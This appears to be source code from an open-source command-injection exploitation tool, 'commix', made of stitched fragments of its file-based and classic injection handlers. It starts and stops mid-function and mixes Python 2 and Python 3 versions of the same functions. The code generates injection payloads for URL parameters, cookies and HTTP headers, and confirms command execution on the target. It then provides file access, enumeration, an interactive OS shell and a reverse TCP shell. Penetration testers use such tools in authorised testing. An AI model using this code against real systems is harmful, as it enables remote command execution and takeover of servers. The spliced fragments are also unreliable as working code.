0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification(url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check( separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, delay) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based command injection" technique = "classic injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: print settings.print_payload(payload) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Evaluate test results. shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) if shell != "": if settings.VERBOSITY_LEVEL >= 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen( request, 